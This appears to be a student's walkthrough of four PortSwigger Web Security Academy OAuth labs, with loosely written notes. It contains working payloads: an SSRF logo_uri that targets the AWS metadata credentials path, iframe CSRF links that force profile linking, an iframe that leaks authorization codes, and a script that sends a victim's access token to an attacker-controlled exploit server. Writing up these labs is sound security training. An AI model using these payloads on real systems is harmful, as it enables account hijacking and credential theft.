Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to OAuth Authentication:

2 SSRF via OpenID dynamic client registration

This lab demonstrates how attackers can abuse OpenID Connect dynamic client registration to perform server-side request forgery (SSRF).

3 Forced OAuth profile linking

This lab shows how attackers can force users to link their accounts to attacker-controlled profiles during OAuth authorization.

4 OAuth account hijacking via redirect_uri

This lab demonstrates how attackers can hijack user accounts by exploiting insecure handling of OAuth redirect URIs.

5 Stealing OAuth access tokens via an open redirect

This lab shows how attackers can steal OAuth access tokens by chaining open redirect vulnerabilities with OAuth redirection flows.

---

LAB 2 - SSRF via OpenID dynamic client registration

Lab Description

Solution

OpenID Connect 1.0 is a simple identity layer on the OAuth 2.0 protocol. While OAuth 2.0 is about resource access and sharing, OIDC is about user authentication. It allows Clients to verify the identity of the End-User based on the authentication performed by an Authorization Server, as well as to obtain basic profile information about the End-User in an interoperable and REST-like manner. The OpenID specification outlines a standardized way of allowing client applications to register with the OpenID provider. If dynamic client registration is supported, the client application can register by sending a POST request to a dedicated /registration endpoint.

We can see auth endpoint.

#Attack scenario

An OAuth registration endpoint is available on the following test website, allowing dynamic registration via client applications. There’s a potential vector for SSRF due to the OAuth service’s unsafe use of client-specific data. After the Initial recon, we can find the configuration file that can give us the endpoint for the registration.

While proxying traffic through Burp, log in to your own account. Browse to https://oauth-YOUR-OAUTH-SERVER.oauth-server.net/.well-known/openid-configuration to access the configuration file. Notice that the client registration endpoint is located at /reg.

You can create a suitable POST request to register your client application with the OAuth service. You must provide a redirect_uris array containing an arbitrary whitelist of callback URIs for your fake application.

POST /reg HTTP/1.1
Host: oauth-YOUR-OAUTH-SERVER.oauth-server.net
Content-Type: application/json

{
    "redirect_uris" : [
        "https://example.com"
    ]
}

We know from the OpenID specification that client applications can provide the URL for their logo using the logo_uri property during dynamic registration. This client id can fetch the logo for the specific client.

Go back to the POST /reg request in Repeater and replace the current logo_uri value with the target URL:

"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"

Now visit the logo for the client ID mentioned in response to get the access token from the AWS manager.

Observe that the response contains the sensitive metadata for the OAuth provider’s cloud environment, including the secret access key.

Use the "Submit solution" button to submit the access key and solve the lab.

---

LAB 3 - Forced OAuth profile linking

Lab Description

Solution

First we login and goto my account and we can see that we have login page and login with soclal media Now first we login with blog accout

• Blog website account: wiener:peter • Social media profile: peter.wiener:hotdog

Click "Attach a social profile". You are redirected to the social media website, where you should log in using your social media credentials to complete the OAuth flow. Afterwards, you will be redirected back to the blog website.

Log out and then click “My account” to go back to the login page. This time, choose the “Log in with social media” option. Observe that you are logged in instantly via your newly linked social media account.

In the proxy history, study the series of requests for attaching a social profile. In the GET /auth?client_id[...] request, observe that the redirect_uri for this functionality sends the authorization code to /oauth-linking. Importantly, notice that the request does not include a state parameter to protect against CSRF attacks.

Turn on proxy interception and select the “Attach a social profile” option again.

Go to Burp Proxy and forward any requests until you have intercepted the one for GET /oauth-linking?code=[…]. Right-click on this request and select “Copy URL”.

Now we click on login in with soclial profile and Drop the intercept request. This is important to ensure that the code is not used and, therefore, remains valid.

Turn off proxy interception click back option on error and log out of the blog website.

Go to the exploit server and create an iframe in which the src attribute points to the URL you just copied. The result should look something like this:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/oauth-linking?code=STOLEN-CODE"></iframe>

• Hence you must use iframe or window.location. • Note: fetch() won’t work!! • The body of the HTML in exploit server:

<script>window.location = 'https://ac031fee1e9ea877801e43f100040097.web-security-academy.net/oauth-linking?code=...'</script>

Deliver the exploit to the victim. When their browser loads the iframe, it will complete the OAuth flow using your social media profile, attaching it to the admin account on the blog website.

Logout form winer account.

Now we will login with social media account

Now when we login we can see that our outh is attached to admin account and we get admin

Delete carlos and lab is solved

---

LAB 4 - OAuth account hijacking via redirect_uri

Lab Description

Solution

First we login with provided credential

Log out and then log back in again. Observe that you are logged in instantly this time. As you still had an active session with the OAuth service, you didn’t need to enter your credentials again to authenticate yourself.

In Burp, study the OAuth flow in the proxy history and identify the most recent authorization request. This should start with GET /auth?client_id=[…]

Notice that when this request is sent, you are immediately redirected to the redirect_uri along with the authorization code in the query string in the repeater Repeater.

After redirection we have session cookie and code

In Burp Repeater, observe that you can submit any arbitrary value as the redirect_uri without encountering an error. Notice that your input is used to generate the redirect in the response.

Change the redirect_uri to point to the exploit server, then send the request and follow the redirect. Go to the exploit server’s access log and observe that there is a log entry containing an authorization code. This confirms that you can leak authorization codes to an external domain.

Now to solve lab we have send this request to admin and steal his session and delete carlos

Copy url to to paste in our payload

In our iframe we paste the copy url so it wil give requiest tro our Access log

Payload:

<iframe src="https://oauth-0afc00560493150681550b6802070023.oauth-server.net/auth?client_id=q1tt5i9czwlvdedfb93r7&redirect_uri=https://exploit-0ab600b104ad15cd81b90c0501ca00cf.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Store the exploit and click “View exploit”. Check that your iframe loads and then check the exploit server’s access log. If everything is working correctly, you should see another request with a leaked code.

We can see Access log

Deliver the exploit to the victim, then go back to the access log and copy the victim’s code from the resulting request.

Paste the above code in our callback and we will get the session paste the cookie come from callback amnd we will ge admin account

Pasting above cookie came

We get admin account after pasting above cookie come from request

And delete carlos and lab is solved

---

LAB 5 - Stealing OAuth access tokens via an open redirect

Lab Description

Solution

First we login we can see two options myaccount and home,Now clicked on my account

We are redirected when I clicked on my account

After redirection we are login with social media account

After login we can see that my account info below.

Notice that the blog website makes an API call to the userinfo endpoint at /me and then uses the data it fetches to log the user in. Send the GET /me request to Burp Repeater.

From the proxy history, find the most recent GET /auth?client_id=[...] request and send it to Repeater

Now Sending above request to repeater we can see that 302 resposnse

After redirection it will redirect us to page

In Repeater, experiment with the GET /auth?client_id=[...] request. Observe that you cannot supply an external domain as redirect_uri because it’s being validated against a whitelist

We can see in page postid so we can try path traversel in redirect url using this in auth

As we can see that using ../post?postID=1 redirect us

Follow above request and we are redirected

Now we want to redirect to external domain like google

` But it is giving us `400 request which mean idodesnot redirect us t external domain

In the blog post we clicked on next post

We see request of next post in http history which we can check if it redirect us to external domain

Yes next?path is redirecting us to external domain

Now apply path traversal in in /../post/next?path=http://goggle.com to check that the auth request redirected us to external domain

And we follow redirectcon it will take us to google.com

Explot server we store hello world

change redirecturl to exploit sever

And follow above redirection gives us hello world which we store on exploit server

We can also see above request in Access log

On the exploit server, create a suitable script at /exploit that will extract the fragment and output it somewhere. For example, the following script will leak it via the access log by redirecting users to the exploit server for a second time, with the access token as a query parameter instead:

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

The substr() method extracts a part of a string.

hash is reponse from which we leave first charcter which is @ and copy other all Store above payload in eploit server

Pasting exploit server id/exploit in redirect url

Now we can see get fragment request of /? But it is not giving us access token beacuser there is some issue in it

You now need to create an exploit that first forces the victim to visit your malicious URL and then executes the script you just tested to steal their access token. For example:

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Store the above payload and and make appropratite change delivere it we will get access token of admin in access log

Access log gives us Access token

In Repeater, go to the GET /me request and replace the token in the Authorization: Bearer header with the one you just copied. Send the request. Observe that you have successfully made an API call to fetch the victim’s data, including their API key.

Use the “Submit solution” button at the top of the lab page to submit the stolen key and solve the lab.

---